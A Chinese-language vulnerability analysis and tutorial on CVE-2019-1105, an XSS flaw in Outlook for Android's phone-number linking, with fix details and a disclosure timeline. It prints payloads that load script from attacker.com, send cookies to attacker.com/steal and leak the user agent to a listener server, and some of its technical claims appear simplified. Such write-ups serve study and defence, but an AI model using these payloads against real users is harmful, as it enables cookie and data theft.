挖洞经验 | 发现Outlook安卓版本APP跨站漏洞CVE-2019-1105
字数 1330 2025-08-18 11:38:53
Outlook安卓版跨站漏洞(CVE-2019-1105)深入分析与利用教学
漏洞概述
CVE-2019-1105是Outlook安卓版应用程序中存在的一个跨站脚本(XSS)漏洞,允许攻击者通过特制电子邮件在受害者设备上执行任意JavaScript代码。该漏洞由CyberArk研究团队发现并于2019年报告给微软。
漏洞利用原理
核心问题
漏洞存在于Outlook安卓版的邮件渲染机制中,具体在emailRenderer-android.js文件的_linkifyPhoneNumbers方法实现上。
技术细节
-
电话号码链接转换机制:
- Outlook使用
Linkify类自动将文本中的电话号码转换为可点击链接 - 该功能通过正则表达式匹配7位数字序列实现
- 匹配成功后,数字会被转换为
tel:协议的链接
- Outlook使用
-
漏洞成因:
- 转换过程中存在未正确转义的问题
- 攻击者可构造特殊格式的数字序列,绕过转义机制
- 导致恶意JavaScript代码被直接执行
-
关键代码流程:
function _linkifyPhoneNumbers() { // 创建匹配7位数字的正则表达式 var regex = ...; // 定义替换函数 function replacer(match) { // 解析电话号码 // 生成链接 // 计数器递增 // 返回未转义的内容 ← 漏洞点 } // 对消息内容应用正则替换 messageContent.replace(regex, replacer); }
漏洞利用方法
基本利用
发送包含以下格式的恶意邮件:
1234567<script>alert('XSS')</script>
当受害者查看邮件时,Outlook会:
- 匹配到"1234567"数字序列
- 调用replacer函数进行处理
- 由于未正确转义,后续的script标签会被浏览器解析执行
高级利用 - HTML5 API
利用现代浏览器的HTML5 API可以实现更强大的攻击:
-
设备震动攻击:
<script>navigator.vibrate(5000);</script>使受害者设备持续震动5秒
-
远程脚本加载:
<script src="http://attacker.com/malicious.js"></script> -
XMLHttpRequest数据外泄:
<script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker.com/steal?data=' + document.cookie, true); xhr.send(); </script>
绕过CORS限制
由于浏览器同源策略限制,直接XHR请求可能被阻止。可通过以下方法绕过:
-
使用CORS代理:
var proxyUrl = 'https://cors-anywhere.herokuapp.com/'; var targetUrl = 'http://attacker.com/collect'; var xhr = new XMLHttpRequest(); xhr.open('GET', proxyUrl + targetUrl, true); xhr.send(); -
利用Burp Collaborator:
- 设置Collaborator作为拦截代理
- 通过XSS触发请求到Collaborator
- 从Collaborator日志中获取受害者信息
漏洞修复与防御
微软在2019年6月的补丁中修复了此漏洞。修复措施包括:
- 对
_linkifyPhoneNumbers函数中的输出进行严格转义 - 增加内容安全策略(CSP)限制
- 改进HTML sanitizer逻辑
教学实验建议
注意:以下实验仅限授权环境测试,切勿用于非法用途。
实验1:基础XSS验证
- 搭建测试环境:安装易受攻击版本的Outlook安卓版(2019年6月前版本)
- 构造测试邮件:
1234567<script>alert(document.domain)</script> - 发送到测试账户并观察弹窗
实验2:高级利用演示
-
准备恶意服务器:
# 简易HTTP服务器记录请求 from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f"Received request: {self.path}") self.send_response(200) self.end_headers() HTTPServer(('0.0.0.0', 8000), Handler).serve_forever() -
构造攻击邮件:
1234567<script> fetch('http://your-server:8000/leak?ua=' + navigator.userAgent) </script> -
观察服务器日志中的User-Agent信息
漏洞报告时间线
- 2019.1.24: 漏洞上报MSRC
- 2019.1.24: MSRC确认接收
- 2019.1.29: MSRC成功复现
- 2019.2.20: MSRC内部修复评估
- 2019.6.20: 补丁发布,分配CVE-2019-1105
总结与启示
- 混合应用(Web+Native)需特别注意上下文安全边界
- 自动内容转换功能需严格验证和转义
- 移动端XSS影响可能比传统Web更严重(可访问设备API)
- 安全开发应遵循最小化功能原则,谨慎实现自动化处理
此漏洞展示了即使是大厂成熟产品也可能存在基础安全缺陷,强调了代码审计和安全开发实践的重要性。